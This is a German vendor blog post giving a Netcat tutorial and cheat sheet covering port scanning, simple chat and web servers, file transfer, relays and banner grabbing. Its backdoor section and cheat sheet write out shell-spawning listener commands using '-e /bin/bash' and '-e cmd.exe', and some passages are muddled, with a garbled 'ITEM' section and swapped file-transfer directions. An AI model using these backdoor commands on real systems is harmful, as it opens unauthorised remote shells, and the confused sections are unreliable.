Der Inside-Out-Sicherheits Blog Blog   /  

So verwenden Sie Netcat-Befehle: Beispiele und Spickzettel

So verwenden Sie Netcat-Befehle: Beispiele und Spickzettel

Das Dienstprogramm Netcat unterstützt zahlreiche Befehle zur Verwaltung von Netzwerken und zur Überwachung von Datenströmen zwischen Systemen. Computernetzwerke – einschließlich des World Wide Web – basieren auf dem Backbone des Transmission Control Protocol (TCP) und dem User Datagram Protocol (UDP). Betrachten Sie Netcat als ein kostenloses und einfaches Zusatzprogramm, das man zusammen mit Wireshark verwenden kann (das auf die Analyse von Netzwerkpaketen spezialisiert ist). Die ursprüngliche Version von Netcat wurde schon 1995 veröffentlicht und wurde in den vergangenen Jahrzehnten mehrfach überarbeitet.

Laden Sie den kompletten Netcat-Spickzettel herunter

Wofür wird Netcat verwendet?

Netcat kann ein hilfreiches Tool für jedes IT-Team sein. Durch die Zunahme intern verwalteter Netzwerkdienste und des Cloud-Computings bieten sich diese aber als besonders geeignete Bereiche an. Netzwerk- und Systemadministratoren müssen die Performance Ihres Netzwerks und die Art der darin ablaufenden Prozesse schnell erkennen können.

Netcat funktioniert als ein Backend-Tool, mit dem Port-Scans und Port-Überwachung durchgeführt werden können. Außerdem können Sie mit Netcat direkt Daten übertragen oder es als Backdoor in andere mit dem Netzwerk verbundenen Systemen verwenden. In Verbindung mit einem Tool wie Varonis Edge können Sie Benachrichtigungen über ungewöhnliche Aktivitäten erhalten und anschließend mit Netcat Untersuchungen durchführen. Und zu guter Letzt ist Netcat ein flexibles Tool, da es sich mit Skripten für größere Aufgaben steuern lässt.

Netcat-Befehlsanwendungen

Grundlegende Netcat-Befehle

Sobald Sie eine Netcat-Anwendung auf Ihrem Windows- oder Linux-Server eingerichtet haben, können Sie mit der Ausführung grundlegender Befehle beginnen, um ihre Funktionsfähigkeit zu testen. Hier sind einige für den Anfang:

nc -help – dieser Befehl gibt eine Liste aller verfügbaren Befehle aus, die Sie in Netcat verwenden können. Das ist sehr nützlich, wenn Sie beim Schreiben eines Skripts auf Fehler stoßen oder sich nicht sicher sind, wie Sie vorgehen sollen.

nc -z -v site.com – hierdurch wird ein einfacher Port-Scan der/des angegebenen Website/Servers durchgeführt. Netcat gibt ausführliche Ergebnisse mit Listen von Ports und Status zurück. Beachten Sie, dass Sie auch eine IP-Adresse anstelle der Domain der Website verwenden können.

nc -l – dieser Befehl weist das lokale System an, mit dem Überwachen von TCP-Verbindungen und UDP-Aktivitäten an einer bestimmten Portnummer zu beginnen.

nc site.com 1234 (less than) file_name – mit diesem Befehl wird die Übertragung einer Datei auf der Grundlage der angegebenen Portnummer eingeleitet.

Printf – Netcat kann tatsächlich die Funktion eines vereinfachten Web-Hosts übernehmen. Mit diesem Befehl können Sie HTML-Code speichern und über Ihren lokalen Server veröffentlichen.

Netcat-Befehl, Screenshot des printf-Befehls

Netcat-Befehlssyntax

Alle Netcat-Befehle müssen mit der Kannung „netcat“ oder verkürzt „nc“ beginnen. Standardmäßig geht das Netcat-Tool davon aus, dass Sie einen Port-Scan durchführen möchten, sofern Sie nichts anderes angeben.

Es können verschiedene Optionsparameter angefügt werden, wie z. B. „-u“ für UDP-Verkehr anstelle von TCP, „-v“ für die detaillierte Ausgabe, „-p“ zur Angabe eines bestimmten Ports und „-D“ zum Aktivieren des vollständigen Debugging-Modus. Einzelne Attribute innerhalb eines Netcat-Befehls müssen mit einem Leerzeichen getrennt werden. Die Eingabeaufforderung zeigt Ihnen an, wenn in Ihrem Skript ein Tippfehler oder ein nicht erkannter Begriff enthalten ist.

Port-Scanning mit Netcat-Befehlen

Wenn Sie versuchen, ein Netzwerk oder Performanceproblem zu diagnostizieren, bietet sich als erster Schritt an, einen Port-Scan mit Netcat durchzuführen. Der Scan prüft den Status aller Ports unter der angegebenen Domäne oder IP-Adresse, so dass Sie feststellen können, ob eine Firewall oder ein anderer Sperrmechanismus vorliegt.

Ein einfacher Befehl für einen Port-Scan an einer IP-ncat-Adresse sieht wie folgt aus:

nc -v -n 8.8.8.8 1-1000

Netcat-Befehl, Screenshot des Port-Scans

Beachten Sie, dass die Zahlen am Ende des Befehls Netcat anweisen, nur die Ports mit den Nummern 1 bis 1000 zu scannen.

Wenn Sie die IP-Adresse eines Servers oder einer Website nicht kennen, können Sie diese über einen Ping-Terminal-Befehl abrufen oder einfach die Domände in den Netcat-Befehl einfügen:

nc -v -n google.com 1-1000

Sie sollten immer Port-Scans durchführen, wenn Sie mit Ihrem lokalen Unternehmensnetzwerk verbunden sind. Falls das nicht der Fall ist, können Sie Ihren Router mit einem VPN-Dienst konfigurieren, so dass ein sicherer Tunnel in das Netzwerk erstellt wird.

Einen Chat- oder Webserver erstellen

Chatprogramme sind im Kommen. Es gibt eine riesige Bandbreite an Chat- und Kommunikationstools für Unternehmen – angefangen bei Open-Source-Lösungen bis hin zu solchen, die anscheinend plötzlich sehr beliebt geworden sind. Es ist tatsächlich so, dass einige IT-Experten und Systemadministratoren eine einfache reine Textlösung bevorzugen würden. Windows Netcat kann diesen Bedarf decken und ermöglicht die Übertragung von Nachrichten über ein lokales Netzwerk.

Das beginnt, indem Sie Netcat dazu bringen, eine Portnummer zu überwachen. Achten Sie darauf, dass Sie keinen Port wählen, der bereits von einer anderen Anwendung oder einem anderen Dienst verwendet wird.

nc -l -p 1299

Netcat-Befehl, Screenshot des Chatbefehls

Dann müssen Sie nur noch die Chat-Sitzung mit einer neuen TCP-Verbindung starten:

nc localhost 1299

Dieses Verfahren kann auch dazu verwendet werden, einen einfachen Webserver von Ihrem lokalen Computer hochzufahren. Netcat fungiert als Web-Host und ermöglicht es Ihnen, HTML-Inhalte zu speichern, die dann über einen Web-Browser angezeigt werden können.

Erstellen Sie zunächst ein neues Textdokument in Ihrem lokalen System, wobei Sie darauf achten müssen, dass Sie gültige HTML-Tags verwenden. Speichern Sie die Datei dann als „index.html“ im Root-Verzeichnis Ihres Netcat-Verzeichnisses. Wechseln Sie nun zurück zum Netcat-Tool und führen diesen Befehl aus:

printf ‘HTTP/1.1 200 OK\n\n%s’ “$(cat index.html)” | netcat -l 8999

Um das HTML-Dokument in Aktion zu sehen, öffnen Sie einfach einen beliebigen Webbrowser und rufen Ihre lokale IP-Adresse mit 8999 am Ende auf, womit Sie den Port des Hosts angeben.

Ausführliche Scans mit Netcat-Befehlen

Jeder Befehl, den Sie in Netcat ausführen, enthält einen bestimmten Ausgabetext, der anzeigt, ob der Befehl erfolgreich war oder nicht. Für die Fehlersuche und -behebung sollten Sie so viele Informationen und Protokolle wie möglich sammeln und gleichzeitig in eine Lösung wie Varonis DatAlert investieren, um Bedrohungen schnell zu erkennen und zu bekämpfen. Mithilfe des Parameters „verbose“, der zu jedem Netcat-Grundbefehl hinzugefügt werden kann, kann Netcat dabei helfen. Hängen Sie einfach „-v“ an Ihren Befehl an und führen ihn erneut aus.

Selbst wenn diese Einstellung aktiviert ist, zeigt Netcat Ihre Anmelde- oder Authentifizierungsdaten nicht an.

HTTP-Anfragen mit Netcat-Befehlen

Wir haben erläutert, wie Sie Netcat zum Hosten von HTML-Seiten auf Ihrem lokalen System verwenden können. Das Dienstprogramm kann aber auch verwendet werden, um Web-Anfragen an externe Server zu senden. Auf diese Weise funktioniert Netcat im Wesentlichen als Webbrowser, indem es rohen HTML-Code abruft.

In Verbindung mit Tools wie Varonis Edge kann Netcat hilfreich für IT-Profis sein, die an Problemen mit dem Internet-Traffic oder mit Proxies arbeiten. Dieses Beispiel zeigt, wie man den HTML-Inhalt von Googles Homepage abruft:

printf “GET / HTTP/1.0\r\n\r\n” | nc google.com 80

Beachten Sie, dass für diese Art von Befehl die Portnummer 80 benutzt werden muss, da das World Wide Web sie als Standard für TCP-über-IP-Verbindungen verwendet.

TCP-Server- und TCP-Client-Befehle

Das TCP-Protokoll wird zwar in erster Linie für die Übertragung von Web-Verkehr rund um die Welt verwendet, es kann aber auch für Dateiübertragungen auf lokaler Ebene implementiert werden. Dazu müssen Sie Netcat von zwei Standorten aus ausführen: an einem, der als Server zum Senden der Datei fungiert, und einem anderen, der als Client die Datei empfängt.

Führen Sie diesen Netcat-Befehl auf der Serverinstanz aus, um die Datei über Port 1499 zu senden:

nc -l 1499 > filename.out

Führen Sie dann diesen Befehl auf dem Client aus, um die Verbindung anzunehmen, die Datei zu empfangen und die Verbindung zu schließen:

nc server.com 1499 (less than) filename.in

Denken Sie daran, „server.com“ durch den vollständigen Hostnamen oder die IP-Adresse des sendenden Servers zu ersetzen.

ITEM mit NetCat-Befehlen

In neueren Versionen von Netcat können Sie das ITEM-Format anstelle der TCP- oder UDP-Standardprotokolle zum Übertragen von Daten verwenden. Dazu müssen Sie die folgende Syntax verwenden:

file_path (pipe) device_path (pipe) network host

DNS-Lookup mit Netcat-Befehlen verhindern

Netcat-Befehle laufen am schnellsten, wenn sie nur mit IP-Adressen versehen werden. Das liegt daran, dass keine Zeit damit verschwendet wird, mit Domänennamen-Servern (DNS) zu kommunizieren, um Servernamen in IP-Adressen zu übersetzen. Wenn Ihre Netcat-Befehle trotzdem noch langsam laufen, fügen Sie ihnen den Operator „-n“ hinzu, damit das Dienstprogramm weiß, dass keine DNS-Lookups erforderlich sind.

Shell-Scripting mit Netcat

Wie bereits erwähnt, bietet die Verwendung von Netcat den großen Vorteil, dass es als Teil in ein größeres Skript zur Ausführung einer automatisierten Funktion eingebunden werden kann. Als Teil Ihrer Sicherheitsverfahren können Sie einen vollständigen Port-Scan an allen Ihren Servern durchführen, um neue bösartige Anwendungen zu erkennen, die eine Verbindung suchen.

Sie könnten dafür ein Skript erstellen, dass:

1. Importiert eine Textdatei mit Servernamen oder IP-Adressen
2. Ruft Netcat auf, um auf jedem Server einen Port-Scan durchzuführen
3. Schreibt die Ausgabe zur Analyse in eine neue Textdatei

Sie können mehrere Netcat-Befehle in einem einzigen Skript zusammenfassen und über eine Linux- oder Windows-Shell ausführen. Manchmal kann es sich lohnen, die Skripte nach einer regelmäßigen Zeitplanung laufen zu lassen.

Reverse (Backdoor) Shells starten

Zu Beginn müssen Sie das Shell-Tool über einen Netcat-Befehl aktivieren, indem Sie die Netcat-Reverse-Shell verwenden:

nc -n -v -l -p 5555 -e /bin/bash

Dann können Sie von jedem anderen System im Netzwerk austesten, wie man nach erfolgreicher Netcat-Verbindung in der Bash Befehle auf dem Host ausführt.

nc -nv 127.0.0.1 5555

Eine Reverse Shell ist eine Methode für Fernzugriffe, bei der Sie über eine Verbindung mit einem anderen Server im Netzwerk von einem Terminal aus administrative Befehle ausführen. Zu Beginn müssen Sie das Shell-Tool über einen Netcat-Befehl aktivieren, indem Sie die Netcat-Reverse-Shell verwenden:

nc -n -v -l -p 5555 -e /bin/bash

Dann können Sie von jedem anderen System im Netzwerk austesten, wie man nach erfolgreicher Netcat-Verbindung in der Bash Befehle auf dem ausgewählten Host ausführt:

nc -nv 127.0.0.1 5555

Netcat-Spickzettel

Bis Sie Routine in der Benutzung von Netcat gewinnen haben, könnten Sie die Befehlssyntax durcheinander bringen oder vergessen, was einige der Parameter bewirken. Keine Sorge! Wir haben unten einen Spickzettel für Sie angefertigt, auf dem Sie schnell alles finden, was Sie für die Ausführung eines funktionsfähigen Netcat-Befehls benötigen.

Netcat-Grundlagen

nc [options] [host] [port] – dieser Befehl führt standardmäßig einen Port-Scan aus

nc -l [host] [port] – startet die Überwachung des angegebenen Ports

Netcat-Befehlsflags

nc -4 – nur IPv4 verwenden

nc -6 – IPv6 verwenden

nc -u – UDP anstelle von TCP verwenden

nc -k -l – Überwachung nach Trennen der Verbindung aufrecht erhalten

nc -n – DNS-Lookups überspringen

nc -v – detaillierte Ausgabe

Netcat-Weiterleitungen unter Windows

nc [host] [port] > relay.bat – eine Weiterleitungsverbindung öffnen

nc -l -p [port] -e relay.bat – mit Weiterleitung verbinden

Netcat-Weiterleitungen unter Linux

nc -l -p [port] 0 (less than) backpipe (pipe) nc [client IP] [port] (pipe) tee backpipe

Netcat-Dateiübertragung

nc [host] [port] (greater than) file_name.out – eine Datei senden

nc [host] [port] (less than) file_name.in – eine Datei empfangen

Netcat-Port-Scanner

nc -zv site.com 80 – einen einzigen Port scannen

nc -zv hostname.com 80 84 – eine Gruppe einzelner Ports scannen

nc -zv site.com 80-84 – eine Spanne von Ports scannen

Netcat-Banner

echo “” | nc -zv -wl [host] [port range] – Abrufen der TCP-Banner für eine Spanne von Ports

Netcat-Backdoor-Shells

nc -l -p [port] -e /bin/bash – eine Shell auf Linux ausführen

nc -l -p [port] -e cmd.exe – eine Shell auf Netcat für Windows ausführen

Zusätzliche Netcat-Ressourcen

In der sich schnell verändernden Welt der Technologie von heute und angesichts immer komplexerer Netzwerke müssen Unternehmen in Sachen Cybersicherheit proaktiv handeln. Dafür müssen Sie Experten einstellen, die wissen, nach welchen Bedrohungen sie Ausschau halten müssen und wie diese zu bekämpfen sind. Andernfalls könnte ein einziger Cyberangriff, beispielsweise mit Ramsomware, nachhaltigen Schaden für die gesamte Organisation verursachen. Eine Kombination der Lösungen von Varonis mit Hilfsprogrammen wie Netcat wird Sie dabei unterstützen, Ihr internes Netzwerk sicherer zu machen.

Wir sind Varonis.

Seit 2005 schützen wir, mit unserer Datensicherheits- plattform, wertvolle Daten von Unternehmen in aller Welt, vor feindlichen Übergriffen.

Wie Varonis funktioniert